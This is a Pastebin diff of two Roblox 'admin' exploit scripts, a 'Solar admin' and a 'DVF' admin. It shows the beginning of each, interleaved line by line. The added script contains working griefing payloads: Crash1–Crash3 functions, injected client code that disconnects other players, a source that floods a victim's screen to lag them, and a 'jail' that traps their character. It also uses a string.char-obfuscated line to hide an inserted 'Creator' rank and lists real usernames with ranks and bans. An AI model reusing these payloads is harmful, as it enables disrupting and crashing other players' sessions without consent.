View difference between Paste ID: XDXjtPEu and QiGGtNxq
SHOW: | | - or go back to the newest paste.
1-
--[[STARTUP]]--
1+
wait(0)
2-
wait()
2+
3-
script.Name = "Solar admin"
3+
--This Admin (DVF) Was Created By chucky4523 (Creator of Plutos Admin V2.3.6).
4-
do
4+
--If You Wish To Have Access To More CMDs (EG. Crashing Nil Players), Then Please Run The Local Script That Comes With This Script, After You Run This Script.
5-
if script:findFirstChild("DSource") ~= nil then
5+
--To Open Commands Say "cmds;". The bet key is ";" (Without the "").
6-
SourceName = "DSource"
6+
--Enter Your Name Where It Says YOUR NAME HERE On Line 12.
7-
elseif script:findFirstChild("Source") ~= nil then
7+
8-
SourceName = "Source"
8+
Plrs = game:GetService("Players")
9-
elseif script:findFirstChild("source") ~= nil then
9+
Work = game:GetService("Workspace")
10-
SourceName = "source"
10+
Light = game:GetService("Lighting")
11-
else
11+
Net = game:GetService("NetworkServer")
12-
SourceName = "No_Source"
12+
Owner = "chucky4523"
13
Removed = false
14
Bet = "."
15-
if SourceName ~= "No_Source" then
15+
LS = nil
16-
print("Source found: "..SourceName)
16+
LSSource = nil
17-
elseif SourceName == "No_Source" then
17+
OwnSource = nil
18-
error("Source not found, script did not load all features")
18+
FoundLocalScript = false
19
LogOn = false
20-
script:ClearAllChildren()
20+
Current = game
21-
game.Lighting:ClearAllChildren()
21+
Clipboard = {}
22-
wait()
22+
AlertColor = Color3.new(0, 1, 1)
23-
--[[VARIABLES, BOOLEANS AND TABLES]]--
23+
OptionColor = Color3.new(1, 1, 1)
24-
LocalPlayer = game:GetService("Players").LocalPlayer
24+
ImportantColor = Color3.new(1, 0, 1)
25-
runService = game:service'RunService'
25+
26-
LSource = script:Clone()
26+
RankDetails = {
27-
char = nil
27+
	[-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
28-
key = nil
28+
	[-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
29-
Mouse = LocalPlayer:GetMouse()
29+
	[-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
30-
SunMesh = "http://www.roblox.com/asset/?id=1185246"
30+
	[0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
31-
SunTexture = "http://www.roblox.com/asset/?id=20261287"
31+
	[1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
32-
ChatColor = "Institutional white"
32+
	[2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
33-
Code = "SA: "..game.PlaceId
33+
	[3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
34-
Key = "/"
34+
	[4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
35-
SunScale = Vector3.new(3,3,3)
35+
	[5] = {Name = "Owner", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
36-
HiddenTablets = false
36+
}
37-
TabModelDebounce = false
37+
38-
DismissTabOn = false
38+
Rankings = {
39-
ChatGui = true
39+
	{Name = "GuestOfChaos", Rank = 4},
40-
LBlock = true
40+
	{Name = "Abscissa", Rank = 4},
41-
found = false
41+
	{Name = "Ultimatekiller010", Rank = 3},
42-
NilBoot = false
42+
	{Name = "DrBackstab", Rank = 3},
43-
appearTime = 3
43+
	{Name = "LuaModelMaker", Rank = 3},
44-
Rotation = 0
44+
	{Name = "MakerModelLua", Rank = 3},
45-
Speed = 0.0001
45+
	{Name = "chucky4523", Rank = 5},
46-
Tabs = {}
46+
	{Name = "MountainSnow", Rank = 3},
47-
Cmds = {}
47+
	{Name = "Madiik", Rank = 3},
48-
Banlist = {}
48+
	{Name = "dogwarrior24", Rank = 2},
49-
HardBanlist = {"ninevolt781","cappertron20","GOLDC3PO”,”Clarramore,”swagguy9999e,”manofthebase44"}
49+
	{Name = "ThePC8110", Rank = 2},
50-
MuteWords = {}
50+
	{Name = "DEADDEVIL1919", Rank = 2},
51-
BadWords = {}
51+
	{Name = "toshir0z", Rank = 2},
52-
Services = {
52+
	{Name = "Tippee", Rank = 2},
53-
game;
53+
	{Name = "Trcker", Rank = 5},
54-
game:service'Workspace';
54+
	{Name = "nairod7", Rank = 2},
55-
game:service'Players';
55+
	{Name = "12packkid", Rank = 2},
56-
game:service'Lighting';
56+
	{Name = "TigreBlood", Rank = 2},
57-
game:service'StarterGui';
57+
	{Name = "MathMasterPhil", Rank = -1},
58-
game:service'StarterPack';
58+
	{Name = "DoogleFox", Rank = 2},
59-
game:service'Debris';
59+
	{Name = "Aetheus", Rank = 5},
60-
};
60+
	{Name = "Ri1es", Rank = 2},
61-
--[[START]]--
61+
	{Name = "hrocks1", Rank = 2},
62-
if LocalPlayer.Character ~= nil then
62+
	{Name = "Zinsei", Rank = 5},
63-
LocalPlayer.Character.Archivable = true
63+
	{Name = "ToontownROXYA", Rank = 2},
64-
Char = LocalPlayer.Character:Clone()
64+
	{Name = "tusKOr661", Rank = 2},
65
	{Name = "Unicornhax", Rank = 1},
66-
if NilBoot == true then
66+
	{Name = "iMayor", Rank = 1},
67-
LocalPlayer.Parent = nil
67+
	{Name = "iMyLittlePony", Rank = 1},
68-
ChatGui = true
68+
	{Name = "xXxkarlxXx", Rank = 1},
69-
appear(CFrame.new(0,25,0))
69+
	{Name = "LightningRoMan", Rank = 1},
70-
local a = Char:Clone()
70+
	{Name = "BrandonFireFlower", Rank = 1},
71-
a.Parent = workspace
71+
}
72-
a.Torso.CFrame = CFrame.new(0,25,0)
72+
73-
LocalPlayer.Character = a
73+
table.insert(Rankings, {Name = Owner, Rank = 5})
74-
workspace.CurrentCamera.CameraType = "Custom"
74+
75-
workspace.CurrentCamera.CameraSubject = a.Humanoid
75+
ImportantServices = {
76-
wait(5)
76+
	"Workspace",
77-
SmoothMovement()
77+
	"Players",
78
	"NetworkServer",
79-
MuteWords[#MuteWords+1] = LocalPlayer.Name..":Kick()"
79+
	"Lighting",
80-
MuteWords[#MuteWords+1] = LocalPlayer.Name..":Destroy()"
80+
	"StarterGui",
81-
MuteWords[#MuteWords+1] = LocalPlayer.Name..":remove()"
81+
	"Teams",
82-
MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:Kick()'
82+
	"StarterPack",
83-
MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:Kick()"
83+
}
84-
MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:Destroy()'
84+
85-
MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:Destory()"
85+
Ranks = {}
86-
MuteWords[#MuteWords+1] = '["'..LocalPlayer.Name..'"]:remove()'
86+
Commands = {}
87-
MuteWords[#MuteWords+1] = "['"..LocalPlayer.Name.."']:remove()"
87+
AllTabs = {}
88-
MuteWords[#MuteWords+1] = "'Players':ClearAllChildren()"
88+
Injected = {}
89-
MuteWords[#MuteWords+1] = '"Players":ClearAllChildren()'
89+
90-
MuteWords[#MuteWords+1] = "Players:ClearAllChildren()"--alek SD the server or kick manof
90+
Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
91-
for i = 1,#LocalPlayer.Name,1 do
91+
"Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
92-
MuteWords[#MuteWords+1] = "kick/"..LocalPlayer.Name:sub(1,i)
92+
"AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
93
"Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
94-
for i = 1,#LocalPlayer.Name,1 do
94+
"AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
95-
MuteWords[#MuteWords+1] = "kick;"..LocalPlayer.Name:sub(1,i)
95+
"AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
96
"BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
97-
for i = 1,#LocalPlayer.Name,1 do
97+
"BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
98-
MuteWords[#MuteWords+1] = "kick:"..LocalPlayer.Name:sub(1,i)
98+
"Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
99
"Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
100-
for i = 1,#LocalPlayer.Name,1 do
100+
"Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
101-
MuteWords[#MuteWords+1] = "kick "..LocalPlayer.Name:sub(1,i)
101+
"CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
102
"CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
103-
for i = 1,#LocalPlayer.Name,1 do
103+
"ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
104-
MuteWords[#MuteWords+1] = ":kick "..LocalPlayer.Name:sub(1,i)
104+
"CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
105
"ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
106-
for i = 1,#LocalPlayer.Name,1 do
106+
"CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
107-
MuteWords[#MuteWords+1] = "/kick/"..LocalPlayer.Name:sub(1,i)
107+
"CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
108
"DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
109-
for i = 1,#LocalPlayer.Name,1 do
109+
"Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
110-
MuteWords[#MuteWords+1] = "kick`"..LocalPlayer.Name:sub(1,i)
110+
"Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
111
"Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
112-
wait()
112+
"FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
113-
--[[TABMODEL]]--
113+
"Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
114-
local TabModel = Instance.new("Model")
114+
"GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
115-
TabModel.Name = "Solar tabs"
115+
"Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
116-
if HiddenTablets == true then
116+
"InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
117-
TabModel.Parent = workspace.CurrentCamera
117+
"KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
118-
TabModelParent = workspace.CurrentCamera
118+
"Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
119-
elseif HiddenTablets == false then
119+
"MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
120-
TabModel.Parent = workspace
120+
"MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
121-
TabModelParent = workspace
121+
"MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
122
"MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
123-
--[[PARENTING]]--
123+
"MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
124-
script.Parent = _SOLAR_
124+
"MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
125-
wait()
125+
"MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
126-
--[[FUNCTIONS]]--
126+
"NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
127-
function Output(Text,Color,OnClicked)
127+
"OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
128-
if TabModel.Parent ~= TabModelParent then return end
128+
"Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
129-
if TabModel == nil then return end
129+
"PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
130-
if Color == nil then Color = "Institutional white" end
130+
"PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
131-
if Text == nil then Text = "" end
131+
"ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
132-
local Text = tostring(Text)
132+
"RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
133-
Text = Text:gsub("","\5")
133+
"SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
134-
local Part = Instance.new("Part", TabModel)
134+
"ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
135-
Part.CanCollide = false
135+
"SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
136-
Part.Anchored = true
136+
"SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
137-
Part.Locked = true
137+
"Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
138-
Part.Shape = "Ball"
138+
"Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
139-
Part.Size = Vector3.new(3,3,3)
139+
"Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
140-
Part.Name = "TABLET: "..math.random(-99999,99999)
140+
"TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
141-
if LocalPlayer ~= nil and LocalPlayer.Character ~= nil and LocalPlayer.Character.Torso ~= nil then
141+
"TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
142-
Part.CFrame = LocalPlayer.Character.Torso.CFrame
142+
"TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
143-
else
143+
"ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
144-
Part.CFrame = CFrame.new(0,0,0)
144+
"Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
145
"Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
146-
local Mesh = Instance.new("SpecialMesh", Part)
146+
"ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
147-
Mesh.MeshId = SunMesh
147+
"WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
148-
Mesh.TextureId = SunTexture
148+
"X","Y"}
149-
Mesh.Scale = SunScale
149+
150-
local PointLight = Instance.new("PointLight", Part)
150+
--Main Functions And Sources
151-
PointLight.Color = BrickColor.new("New Yeller").Color
151+
152-
PointLight.Range = 10
152+
function Insert(Source, Par, Par2, Par3)
153-
local BillboardGui = Instance.new("BillboardGui", Part)
153+
	ypcall(function()
154-
BillboardGui.Size = UDim2.new(8,0,7,0)
154+
		local Inserted = LS:Clone()
155-
BillboardGui.StudsOffset = Vector3.new(0,2,0)
155+
		Inserted.Disabled = true
156-
local TextLabel = Instance.new("TextLabel", BillboardGui)
156+
		Inserted.Parent = Par or Par2 or Par3
157-
TextLabel.Text = Text
157+
		Inserted[LSSource].Value = Source
158-
TextLabel.Size = UDim2.new(1,0,1,0)
158+
		Inserted.Disabled = false
159-
TextLabel.BackgroundTransparency = 1
159+
	end)
160-
TextLabel.TextColor = BrickColor.new(Color)
160+
161-
TextLabel.Font = "ArialBold"
161+
162-
TextLabel.FontSize = "Size24"
162+
function CheckImportant(Name)
163-
TextLabel.TextStrokeTransparency = 0
163+
	for _,v in pairs(ImportantServices) do
164-
local ClickDetector = Instance.new("ClickDetector", Part)
164+
		if v:lower() == Name:lower() then
165-
Tabs[#Tabs+1] = Part
165+
			return true
166-
ClickDetector.MaxActivationDistance = math.huge
166+
		end
167-
ClickDetector.MouseHoverEnter:connect(function(Player)
167+
	end
168-
if Player.Name == LocalPlayer.Name then
168+
	return false
169-
Part.Transparency = 0.5
169+
170
171
function Crash1(Plr)
172-
ClickDetector.MouseHoverLeave:connect(function(Player)
172+
	ypcall(function()
173-
if Player.Name == LocalPlayer.Name then
173+
		Plr:Kick()
174-
Part.Transparency = 0
174+
	end)
175
end
176
177-
ClickDetector.MouseClick:connect(function(Player)
177+
function GetRankTab()
178-
if Player.Name == LocalPlayer.Name then
178+
	return Rankings
179-
coroutine.wrap(function()
179+
180-
for i = 0,180,10 do
180+
181-
TextLabel.Rotation = i
181+
function Crash2(Name)
182-
wait()
182+
	local Crasher = Instance.new("StringValue")
183
	Crasher.Name = "Client"
184-
end)()
184+
	Crasher.Value = string.lower(tostring(Name))
185-
coroutine.wrap(function()
185+
	Crasher.Parent = game:GetService("Lighting")
186-
for i = 0,1,0.1 do
186+
	wait(1)
187-
Part.Transparency = i
187+
	if Crasher and Crasher.Parent then
188-
wait()
188+
		ypcall(function()
189
			Crasher:Destroy()
190-
wait()
190+
		end)
191-
Part:Destroy()
191+
	end
192-
for i,v in pairs(Tabs) do
192+
193-
if v.Name == Part.Name then
193+
194-
table.remove(Tabs,i)
194+
function Crash3(v, Speaker)
195
	Speaker.Character.Archivable = true
196
	local NChar = Speaker.Character:Clone()
197-
if OnClicked ~= nil then
197+
	NChar.Name = v.Name
198-
OnClicked()
198+
	NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
199
	NChar.Parent = Workspace
200-
end)()
200+
	v.Character = NChar
201
	coroutine.resume(coroutine.create(function()
202
		repeat v.Character = NChar
203-
if #Tabs > 0 then DismissTab() end
203+
		wait(1/3) until false
204
	end))
205-
function Dismiss()
205+
	wait(.5)
206-
Tabs = {}
206+
	Insert(InsertCrash, NChar, nil, nil)
207-
TabModel:ClearAllChildren()
207+
208-
DismissTabOn = false
208+
209
function GenerateDigit()
210-
function DismissTab()
210+
	return 1 + 5
211-
if DismissTabOn == true then return end
211+
212-
DismissTabOn = true
212+
213-
Output("Dismiss","Really red", function() Dismiss() DismissTabOn = false end)
213+
InjectionCrash = [=[
214
	wait(0)
215-
function Chat(Msg, Clr)
215+
	script.Parent = nil
216-
for _,v in pairs(Cmds) do
216+
	local Lig = game:GetService("Lighting")
217-
if #Msg >= #v["Say"]+#Key then
217+
	local LP = game:GetService("Players").LocalPlayer
218-
if Msg:lower():sub(1,#v["Say"]+#Key) == v["Say"]:lower()..Key:lower() then
218+
	local LowerName = LP.Name:lower()
219-
return
219+
220
	Lig.ChildAdded:connect(function(Obj)
221
		if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
222
			pcall(function()
223-
if Msg:sub(1,2) == "/e" then return end
223+
				Obj:Destroy()
224-
if Clr == nil then Clr = "Institutional white" end
224+
			end)
225-
if Msg == nil then Msg = "" end
225+
			LP.Parent = nil
226-
if Msg:sub(1,1) == ";" then Clr = "Really red" Msg = Msg:sub(2) end
226+
			LP.Parent = game:GetService("Players")
227-
if Msg:sub(1,1) == "/" then Clr = "Really blue" Msg = Msg:sub(2) end
227+
		end
228-
Msg = Msg:gsub("","\5")
228+
	end)
229-
if LocalPlayer and LocalPlayer.Character and LocalPlayer.Character.Head then
229+
]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}
230-
if #LocalPlayer.Character.Head:children() > 15 then return end
230+
231-
for _,v in pairs(LocalPlayer.Character.Head:children()) do
231+
InsertCrash = [==[
232-
if v.Name == "BG" then
232+
	local LP = game:GetService("Players").LocalPlayer
233-
coroutine.wrap(function()
233+
	LP.Parent = nil
234-
for i = v.StudsOffset.y,v.StudsOffset.y+2,0.1 do
234+
	LP.Parent = game:GetService("Players")
235-
v.StudsOffset = Vector3.new(0,i,0)
235+
]==]
236-
wait()
236+
237
LagSource = [==[
238-
wait(2)
238+
	wait(0)
239-
if v:findFirstChild("TextLabel") ~= nil then
239+
	script.Parent = nil
240-
for i = 0,1,0.1 do
240+
	plr = game:GetService("Players").LocalPlayer
241-
if v:findFirstChild("TextLabel") == nil then break end
241+
	local plrgui = plr:findFirstChild("PlayerGui")
242-
v.TextLabel.TextTransparency = i
242+
	if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
243-
v.TextLabel.TextStrokeTransparency = i
243+
	while plr.Parent == game:GetService("Players") do
244-
wait()
244+
	wait()
245
	for i = 1, 1000 do
246
	local sc = Instance.new("ScreenGui",plrgui)
247-
v:Destroy()
247+
	local fr = Instance.new("TextLabel",sc)
248-
end)()
248+
	fr.Text = "LAGGING"
249
	fr.Size = UDim2.new(1, 0, 1, 0)
250
	fr.FontSize = "Size48"
251-
if ChatGui == false then 
251+
	end
252-
return
252+
	end
253-
elseif ChatGui == true then	
253+
]==]
254-
local BG = Instance.new("BillboardGui", LocalPlayer.Character.Head)
254+
255-
BG.Name = "BG"
255+
MuteSource = [==[
256-
BG.Size = UDim2.new(8,0,7,0)
256+
	game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
257-
BG.StudsOffset = Vector3.new(0,2,0)
257+
]==]
258-
BG.SizeOffset = Vector2.new(0,.1)
258+
259-
local TL = Instance.new("TextLabel", BG)
259+
UnMuteSource = [==[
260-
TL.Text = Msg
260+
	game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
261-
TL.BackgroundTransparency = 1
261+
]==]
262-
TL.Size = UDim2.new(1,0,.8,0)
262+
263-
TL.Font = "Legacy"
263+
JailSource = [==[
264-
TL.FontSize = "Size24"
264+
	wait(0)
265-
TL.TextStrokeTransparency = 0
265+
	script.Parent = nil
266-
if Clr ~= "Random" then
266+
267-
TL.TextColor = BrickColor.new(Clr)
267+
	local LP = game:GetService("Players").LocalPlayer
268-
elseif Clr == "Random" then
268+
	Middle2 = nil
269-
TL.TextColor = BrickColor.random()
269+
	Middle = nil
270
	game:GetService("Workspace").CurrentCamera:ClearAllChildren()
271-
coroutine.wrap(function()
271+
272-
wait(5)
272+
	Cons = {}
273-
if TL ~= nil then
273+
274-
for i = 0,1,0.1 do
274+
	function makePrison()
275-
if TL == nil then break end
275+
		for _,v in pairs(Cons) do
276-
TL.TextTransparency = i
276+
			v:disconnect()
277-
TL.TextStrokeTransparency = i
277+
		end
278-
wait()
278+
		game:GetService("Workspace").CurrentCamera:ClearAllChildren()
279
		if Middle == nil then
280
			Middle2 = LP.Character.Torso.Position
281-
BG:Destroy()
281+
			Middle = LP.Character.Torso.CFrame
282-
end)()
282+
		end
283
		local side1 = Instance.new("Part")
284
		side1.Name = "¬Focus1¬"
285
		side1.Size = Vector3.new(20, 50, 1)
286-
function Notify(Msg)
286+
		side1.CFrame = Middle * CFrame.new(0, 0, -10)
287-
Chat(Msg,"Really red")
287+
		side1.BrickColor = BrickColor.new("Really black")
288
		side1.CanCollide = true
289-
function GetPlayers(msg)
289+
		side1.Anchored = true
290-
local Plrs = {}
290+
		side1.TopSurface = "Smooth"
291-
if msg == "me" then
291+
		side1.BottomSurface = "Smooth"
292-
table.insert(Plrs, LocalPlayer)
292+
		side1.Parent = game:GetService("Workspace").CurrentCamera
293-
elseif msg == "all" then
293+
294-
Plrs = game:GetService("Players"):GetChildren() --GetPlayers()?
294+
		local side2 = Instance.new("Part")
295-
elseif msg == "noobs" then
295+
		side2.Name = "¬Focus2¬"
296-
for _,plr in pairs(game:GetService("Players"):GetChildren()) do
296+
		side2.Size = Vector3.new(20, 50, 1)
297-
if plr.AccountAge < 364 then
297+
		side2.CFrame = Middle * CFrame.new(0, 0, 10)
298-
table.insert(Plrs, plr)
298+
		side2.BrickColor = BrickColor.new("Really black")
299
		side2.CanCollide = true
300
		side2.Anchored = true
301-
elseif msg == "veterans" then
301+
		side2.TopSurface = "Smooth"
302-
for _,plr in pairs(game:GetService("Players"):GetChildren()) do
302+
		side2.BottomSurface = "Smooth"
303-
if plr.AccountAge > 364 then
303+
		side2.Parent = game:GetService("Workspace").CurrentCamera
304-
table.insert(Plrs, plr)
304+
305
		local side3 = Instance.new("Part")
306
		side3.Name = "¬Focus3¬"
307-
elseif msg == "others" then
307+
		side3.Size = Vector3.new(1, 50, 20)
308-
for i,v in pairs(game:GetService("Players"):GetChildren()) do
308+
		side3.CFrame = Middle * CFrame.new(10, 0, 0)
309-
if v ~= LocalPlayer then
309+
		side3.BrickColor = BrickColor.new("Really black")
310-
table.insert(Plrs, v)
310+
		side3.CanCollide = true
311
		side3.Anchored = true
312
		side3.TopSurface = "Smooth"
313-
else
313+
		side3.BottomSurface = "Smooth"
314-
for i,v in pairs(game:GetService("Players"):GetChildren()) do
314+
		side3.Parent = game:GetService("Workspace").CurrentCamera
315-
if v.Name:lower():sub(1,#msg) == msg:lower() then
315+
316-
table.insert(Plrs, v)
316+
		local side4 = Instance.new("Part")
317
		side4.Name = "¬Focus4¬"
318
		side4.Size = Vector3.new(1, 50, 20)
319
		side4.CFrame = Middle * CFrame.new(-10, 0, 0)
320-
return Plrs
320+
		side4.BrickColor = BrickColor.new("Really black")
321
		side4.CanCollide = true
322-
function Update(CF)
322+
		side4.Anchored = true
323-
if TabModel.Parent ~= TabModelParent then return end
323+
		side4.TopSurface = "Smooth"
324-
if TabModel == nil then return end
324+
		side4.BottomSurface = "Smooth"
325-
Rotation = Rotation + Speed
325+
		side4.Parent = game:GetService("Workspace").CurrentCamera
326-
if TabModel.Parent ~= TabModelParent then return end
326+
		
327-
if TabModel == nil then return end
327+
		local side5 = Instance.new("Part")
328-
for i,v in pairs(Tabs) do
328+
		side5.Name = "¬Focus5¬"
329-
if TabModel.Parent ~= TabModelParent then break end
329+
		side5.Size = Vector3.new(20, 1, 20)
330-
if TabModel == nil then break end
330+
		side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
331-
if v.Parent ~= nil then
331+
		side5.BrickColor = BrickColor.new("Really black")
332-
if TabModel.Parent ~= TabModelParent then break end
332+
		side5.CanCollide = true
333-
if TabModel == nil then break end
333+
		side5.Anchored = true
334-
if #Tabs < 201 then
334+
		side5.TopSurface = "Smooth"
335-
if TabModel.Parent ~= TabModelParent then break end
335+
		side5.BottomSurface = "Smooth"
336-
if TabModel == nil then break end
336+
		side5.Parent = game:GetService("Workspace").CurrentCamera
337-
local CP = v.Position:lerp(CF.p,0.15)
337+
		
338-
v.CFrame = CFrame.new(CP.X,CP.Y,CP.Z) *CFrame.Angles(0,math.rad(((360/#Tabs)*i)+Rotation),0)
338+
		wait(0)
339-
*CFrame.new(0,0,#Tabs*0.15 +0.5) 
339+
340-
else
340+
		table.insert(Cons, side1.Changed:connect(makePrison))
341-
if TabModel.Parent ~= TabModelParent then break end
341+
		table.insert(Cons, side2.Changed:connect(makePrison))
342-
if TabModel == nil then break end
342+
		table.insert(Cons, side3.Changed:connect(makePrison))
343-
v:Destroy()
343+
		table.insert(Cons, side4.Changed:connect(makePrison))
344
		table.insert(Cons, side5.Changed:connect(makePrison))
345-
if TabModel.Parent ~= TabModelParent then break end
345+
	end
346-
if TabModel == nil then break end
346+
347
	Delay(0, function()
348
		while wait(0) do
349
			ypcall(function()
350-
function AddCmd(Name, Say, Desc, Func)
350+
				if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
351-
Cmds[#Cmds+1] = {["Name"] = Name, ["Say"] = Say, ["Desc"] = Desc, ["Func"] = Func}
351+
					LP.Character:BreakJoints()
352
				elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
353-
function ShowCmds()
353+
					makePrison()
354-
Dismiss()
354+
				end
355-
for _,v in pairs(Cmds) do
355+
			end)
356-
Output(v["Name"],nil,
356+
			ypcall(function()
357-
function()
357+
				if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
358-
Dismiss()
358+
					LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
359-
Output("Name: "..v["Name"])
359+
				end
360-
Output("Usage: "..v["Say"])
360+
			end)
361-
Output("Description: "..v["Desc"])
361+
		end
362-
Output("Back","Really red",function() ShowCmds() end)
362+
	end)
363
]==]
364-
)
364+
365
function All()
366
	local AllPlayers = {}
367-
function NewS(SourceValue, Parent)
367+
	for _,v in pairs(Plrs:GetPlayers()) do
368-
if NewScript then
368+
		ypcall(function()
369-
local scr = NewScript:Clone()
369+
			table.insert(AllPlayers, v)
370-
if scr:FindFirstChild(SourceName) then
370+
		end)
371-
if scr:FindFirstChild(SourceName) then
371+
	end
372-
scr:FindFirstChild(SourceName).Value = SourceValue
372+
	return AllPlayers
373-
